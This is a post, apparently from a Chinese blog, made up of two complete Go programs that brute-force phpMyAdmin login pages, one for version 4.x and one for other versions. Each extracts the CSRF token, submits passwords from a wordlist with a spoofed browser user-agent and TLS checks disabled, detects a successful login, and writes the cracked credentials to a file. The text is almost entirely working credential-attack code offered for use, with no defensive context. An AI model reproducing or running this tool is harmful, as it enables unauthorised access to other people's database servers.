package main
import (
"bufio"
"crypto/tls"
"fmt"
"io"
"log"
"net/http"
"net/http/cookiejar"
"net/url"
"os"
"regexp"
"strings"
"sync"
"time"
)
type Config struct {
TargetURL string
Username string
Passwords []string
MaxWorkers int
RequestInterval time.Duration
UserAgent string
}
var (
client = &http.Client{
Timeout: 10 * time.Second,
Jar: nil,
Transport: &http.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
},
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
outputLock sync.Mutex
done = make(chan struct{})
)
func main() {
if len(os.Args) < 4 {
fmt.Println("Usage: phpmyadmin <url> <user> <pass_path> [max_workers] [interval]")
fmt.Println("Example:")
fmt.Println(" phpmyadmin https://example.com/phpmyadmin/ root ./pass.txt 2 4s")
return
}
URL := os.Args[1]
user := os.Args[2]
pass := os.Args[3]
maxWorkers := 2
interval := 4 * time.Second
if len(os.Args) > 4 {
fmt.Sscanf(os.Args[4], "%d", &maxWorkers)
}
if len(os.Args) > 5 {
if d, err := time.ParseDuration(os.Args[5]); err == nil {
interval = d
}
}
jar, err := cookiejar.New(nil)
if err != nil {
log.Fatalf("Create CookieJar failed: %v", err)
}
client.Jar = jar
cfg := Config{
TargetURL: URL,
Username: user,
Passwords: loadPasswords(pass),
MaxWorkers: maxWorkers,
RequestInterval: interval,
UserAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
}
startTime := time.Now()
log.Printf("Start: %s, User: %s, Password count: %d\n", cfg.TargetURL, cfg.Username, len(cfg.Passwords))
var wg sync.WaitGroup
passwordChan := make(chan string, cfg.MaxWorkers)
for i := 0; i < cfg.MaxWorkers; i++ {
wg.Add(1)
go worker(cfg, passwordChan, &wg)
}
go func() {
for _, pwd := range cfg.Passwords {
select {
case passwordChan <- pwd:
time.Sleep(cfg.RequestInterval)
case <-done:
return
}
}
close(passwordChan)
}()
wg.Wait()
log.Printf("End, time: %v\n", time.Since(startTime))
}
func worker(cfg Config, passwordChan <-chan string, wg *sync.WaitGroup) {
defer wg.Done()
for {
select {
case pwd, ok := <-passwordChan:
if !ok {
return
}
tryPassword(cfg, pwd)
case <-done:
return
}
}
}
func loadPasswords(filename string) []string {
file, err := os.Open(filename)
if err != nil {
log.Fatalf("Open password file failed: %v", err)
}
defer file.Close()
var passwords []string
scanner := bufio.NewScanner(file)
for scanner.Scan() {
pwd := strings.TrimSpace(scanner.Text())
if pwd != "" {
passwords = append(passwords, pwd)
}
}
if err := scanner.Err(); err != nil {
log.Fatalf("Read password file failed: %v", err)
}
return passwords
}
func tryPassword(cfg Config, password string) {
outputLock.Lock()
log.Printf("Try password: %s\n", password)
outputLock.Unlock()
token, err := extractToken(cfg.TargetURL, cfg.UserAgent)
if err != nil {
log.Printf("Extract Token failed: %v\n", err)
return
}
log.Printf("Token: %s\n", token)
// 根据实际表单字段构造POST数据
loginData := url.Values{
"pma_username": {cfg.Username},
"pma_password": {password},
"server": {"1"},
"target": {"index.php"}, // 从表单中获取
"token": {token},
"lang": {"en"}, // 可选
}
req, err := http.NewRequest("POST", cfg.TargetURL, strings.NewReader(loginData.Encode()))
if err != nil {
log.Printf("Create POST request failed: %v\n", err)
return
}
req.Header.Set("User-Agent", cfg.UserAgent)
req.Header.Set("Referer", cfg.TargetURL)
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("Origin", extractOrigin(cfg.TargetURL))
resp, err := client.Do(req)
if err != nil {
log.Printf("Login request failed: %v\n", err)
return
}
defer resp.Body.Close()
if isLoginSuccess(resp) {
outputLock.Lock()
log.Printf("[+] SUCCESS! Username: %s, Password: %s\n", cfg.Username, password)
saveSuccess(cfg.TargetURL, cfg.Username, password)
outputLock.Unlock()
close(done)
return
}
outputLock.Lock()
log.Printf("[-] FAILED: %s:%s\n", cfg.Username, password)
outputLock.Unlock()
}
func extractToken(targetURL, userAgent string) (string, error) {
req, err := http.NewRequest("GET", targetURL, nil)
if err != nil {
return "", fmt.Errorf("Create GET request failed: %v", err)
}
req.Header.Set("User-Agent", userAgent)
req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8")
resp, err := client.Do(req)
if err != nil {
return "", fmt.Errorf("GET login page failed: %v", err)
}
defer resp.Body.Close()
html, err := io.ReadAll(resp.Body)
if err != nil {
return "", fmt.Errorf("Read HTML failed: %v", err)
}
htmlStr := string(html)
// 调试:保存HTML到文件以便分析
// os.WriteFile("debug.html", html, 0644)
// 多种方式提取token
tokenPatterns := []*regexp.Regexp{
// 从input隐藏字段提取
regexp.MustCompile(`<input[^>]*?name=["']token["'][^>]*?value=["']([^"']+)["']`),
// 从script中提取
regexp.MustCompile(`["']token["']\s*:\s*["']([^"']+)["']`),
// 从URL参数中提取
regexp.MustCompile(`token=([a-f0-9]{32})`),
// 从commonParams中提取
regexp.MustCompile(`token["']\s*:\s*["']([a-f0-9]{32})["']`),
}
for _, pattern := range tokenPatterns {
matches := pattern.FindStringSubmatch(htmlStr)
if len(matches) >= 2 {
token := strings.TrimSpace(matches[1])
if token != "" && len(token) >= 16 {
return token, nil
}
}
}
// 尝试从HTML源码中直接搜索
if idx := strings.Index(htmlStr, "name=\"token\""); idx != -1 {
start := strings.Index(htmlStr[idx:], "value=\"")
if start != -1 {
start += idx + 7
end := strings.Index(htmlStr[start:], "\"")
if end != -1 {
token := htmlStr[start:start+end]
if len(token) >= 16 {
return token, nil
}
}
}
}
return "", fmt.Errorf("Token not found in HTML")
}
func isLoginSuccess(resp *http.Response) bool {
// 1. 检查状态码
if resp.StatusCode == 302 || resp.StatusCode == 301 {
// 登录成功通常会重定向
location, _ := resp.Location()
if location != nil && !strings.Contains(location.String(), "index.php?") {
// 成功重定向到非登录页
return true
}
}
// 2. 检查响应头
contentType := resp.Header.Get("Content-Type")
if strings.Contains(contentType, "text/html") {
body, _ := io.ReadAll(resp.Body)
htmlStr := string(body)
// 登录成功后的特征
successIndicators := []string{
"Server version", // phpMyAdmin版本信息
"Server:", // 服务器信息
"MySQL charset:", // MySQL字符集
"Create new database", // 创建数据库选项
"数据库", // 中文版特征
"phpMyAdmin 主界面", // 主界面
"快速入门", // 快速入门
}
// 登录失败的特征
failureIndicators := []string{
"无法登录", // 登录失败
"Access denied", // 拒绝访问
"登录", // 登录表单
"用户名", // 用户名输入框
"密码", // 密码输入框
"pma_username", // 用户名字段
"pma_password", // 密码字段
}
// 检查成功特征
for _, indicator := range successIndicators {
if strings.Contains(htmlStr, indicator) {
return true
}
}
// 检查失败特征
for _, indicator := range failureIndicators {
if strings.Contains(htmlStr, indicator) {
return false
}
}
// 如果没有找到登录表单,可能已登录
if !strings.Contains(htmlStr, "login_form") &&
!strings.Contains(htmlStr, "pma_username") &&
!strings.Contains(htmlStr, "pma_password") {
return true
}
}
// 3. 检查是否有登录成功后的cookie
for _, cookie := range resp.Cookies() {
if strings.Contains(strings.ToLower(cookie.Name), "phpmyadmin") ||
strings.Contains(strings.ToLower(cookie.Name), "pma") ||
cookie.Name == "phpMyAdmin" {
return true
}
}
return false
}
func extractOrigin(urlStr string) string {
u, err := url.Parse(urlStr)
if err != nil {
return ""
}
return fmt.Sprintf("%s://%s", u.Scheme, u.Host)
}
func saveSuccess(target, user, pwd string) {
f, err := os.OpenFile("success.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
log.Printf("Save result failed: %v", err)
return
}
defer f.Close()
f.WriteString(fmt.Sprintf("Target: %s\nUser: %s\nPassword: %s\n\n", target, user, pwd))
}
以上是phpMyAdmin 4.x版本的登录页面
下面是其他版本
package main
import (
"bufio"
"crypto/tls"
"fmt"
"io"
"log"
"net/http"
"net/http/cookiejar"
"net/url"
"os"
"regexp"
"strings"
"sync"
"time"
)
type Config struct {
TargetURL string
Username string
Passwords []string
MaxWorkers int
RequestInterval time.Duration
UserAgent string
}
var (
client = &http.Client{
Timeout: 10 * time.Second,
Jar: nil,
Transport: &http.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
},
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
titleFail = "Login - phpMyAdmin"
outputLock sync.Mutex
done = make(chan struct{})
)
func main() {
if len(os.Args) < 4 {
fmt.Println("Usage: phpmyadmin <url> <user> <pass_path> [max_workers] [interval]")
fmt.Println("Example:")
fmt.Println(" phpmyadmin https://example.com/phpmyadmin/ root ./pass.txt 2 4s")
return
}
URL := os.Args[1]
user := os.Args[2]
pass := os.Args[3]
maxWorkers := 2
interval := 4 * time.Second
if len(os.Args) > 4 {
fmt.Sscanf(os.Args[4], "%d", &maxWorkers)
}
if len(os.Args) > 5 {
if d, err := time.ParseDuration(os.Args[5]); err == nil {
interval = d
}
}
jar, err := cookiejar.New(nil)
if err != nil {
log.Fatalf("Create CookieJar failed: %v", err)
}
client.Jar = jar
cfg := Config{
TargetURL: URL,
Username: user,
Passwords: loadPasswords(pass),
MaxWorkers: maxWorkers,
RequestInterval: interval,
UserAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
}
startTime := time.Now()
log.Printf("Start: %s, User: %s, Password count: %d\n", cfg.TargetURL, cfg.Username, len(cfg.Passwords))
var wg sync.WaitGroup
passwordChan := make(chan string, cfg.MaxWorkers)
for i := 0; i < cfg.MaxWorkers; i++ {
wg.Add(1)
go worker(cfg, passwordChan, &wg)
}
go func() {
for _, pwd := range cfg.Passwords {
select {
case passwordChan <- pwd:
time.Sleep(cfg.RequestInterval)
case <-done:
return
}
}
close(passwordChan)
}()
wg.Wait()
log.Printf("End, time: %v\n", time.Since(startTime))
}
func worker(cfg Config, passwordChan <-chan string, wg *sync.WaitGroup) {
defer wg.Done()
for {
select {
case pwd, ok := <-passwordChan:
if !ok {
return
}
tryPassword(cfg, pwd)
case <-done:
return
}
}
}
func loadPasswords(filename string) []string {
file, err := os.Open(filename)
if err != nil {
log.Fatalf("Open password file failed: %v", err)
}
defer file.Close()
var passwords []string
scanner := bufio.NewScanner(file)
for scanner.Scan() {
pwd := strings.TrimSpace(scanner.Text())
if pwd != "" {
passwords = append(passwords, pwd)
}
}
if err := scanner.Err(); err != nil {
log.Fatalf("Read password file failed: %v", err)
}
return passwords
}
func tryPassword(cfg Config, password string) {
outputLock.Lock()
log.Printf("Try password: %s\n", password)
outputLock.Unlock()
token, session, err := extractTokenAndSession(cfg.TargetURL, cfg.UserAgent)
if err != nil {
log.Printf("Extract Token/Session failed: %v\n", err)
return
}
log.Printf("Token: %s, Session: %s\n", token, session)
loginData := url.Values{
"pma_username": {cfg.Username},
"pma_password": {password},
"server": {"1"},
"target": {"/"},
"token": {token},
"lang": {"en"},
}
req, err := http.NewRequest("POST", cfg.TargetURL, strings.NewReader(loginData.Encode()))
if err != nil {
log.Printf("Create POST request failed: %v\n", err)
return
}
req.Header.Set("User-Agent", cfg.UserAgent)
req.Header.Set("Referer", cfg.TargetURL)
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
resp, err := client.Do(req)
if err != nil {
log.Printf("Login request failed: %v\n", err)
return
}
defer resp.Body.Close()
if isLoginSuccess(resp) {
outputLock.Lock()
log.Printf("[+] Success! Password: %s\n", password)
saveSuccess(cfg.TargetURL, cfg.Username, password)
outputLock.Unlock()
close(done)
return
}
outputLock.Lock()
log.Printf("[-] Failed: Wrong password or token invalid\n")
outputLock.Unlock()
}
func extractTokenAndSession(targetURL, userAgent string) (string, string, error) {
req, err := http.NewRequest("GET", targetURL, nil)
if err != nil {
return "", "", fmt.Errorf("Create GET request failed: %v", err)
}
req.Header.Set("User-Agent", userAgent)
req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8")
resp, err := client.Do(req)
if err != nil {
return "", "", fmt.Errorf("GET login page failed: %v", err)
}
defer resp.Body.Close()
if resp.StatusCode >= 300 && resp.StatusCode < 400 {
redirectURL, err := resp.Location()
if err != nil {
return "", "", fmt.Errorf("Parse redirect URL failed: %v", err)
}
resp, err = client.Get(redirectURL.String())
if err != nil {
return "", "", fmt.Errorf("Follow redirect failed: %v", err)
}
defer resp.Body.Close()
}
html, err := io.ReadAll(resp.Body)
if err != nil {
return "", "", fmt.Errorf("Read HTML failed: %v", err)
}
htmlStr := string(html)
tokenRe := regexp.MustCompile(`(?i)<input[^>]*?name="(?:token|pma_token)"[^>]*?value="([^"]+)"`)
tokenMatches := tokenRe.FindStringSubmatch(htmlStr)
if len(tokenMatches) < 2 {
return "", "", fmt.Errorf("Token not found")
}
token := tokenMatches[1]
sessionRe := regexp.MustCompile(`(?i)<input[^>]*?name="(?:set_session)"[^>]*?value="([^"]+)"`)
sessionMatches := sessionRe.FindStringSubmatch(htmlStr)
if len(sessionMatches) < 2 {
return "", "", fmt.Errorf("Session not found")
}
session := sessionMatches[1]
return token, session, nil
}
func isLoginSuccess(resp *http.Response) bool {
if resp.StatusCode >= 300 && resp.StatusCode < 400 {
redirectURL, _ := resp.Location()
if strings.Contains(redirectURL.String(), "/index.php?route=/&route=%2F") {
return true
}
}
content, _ := io.ReadAll(resp.Body)
htmlStr := string(content)
if strings.Contains(htmlStr, "PHP version") ||
strings.Contains(htmlStr, "Web server") ||
strings.Contains(htmlStr, "Database client version") {
return true
}
if strings.Contains(htmlStr, "Access denied") ||
strings.Contains(htmlStr, "using password: YES") {
return false
}
return false
}
func saveSuccess(target, user, pwd string) {
f, err := os.OpenFile("success.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
log.Printf("Save result failed: %v", err)
return
}
defer f.Close()
f.WriteString(fmt.Sprintf("Target: %s\nUser: %s\nPassword: %s\n\n", target, user, pwd))
}
浙公网安备 33010602011771号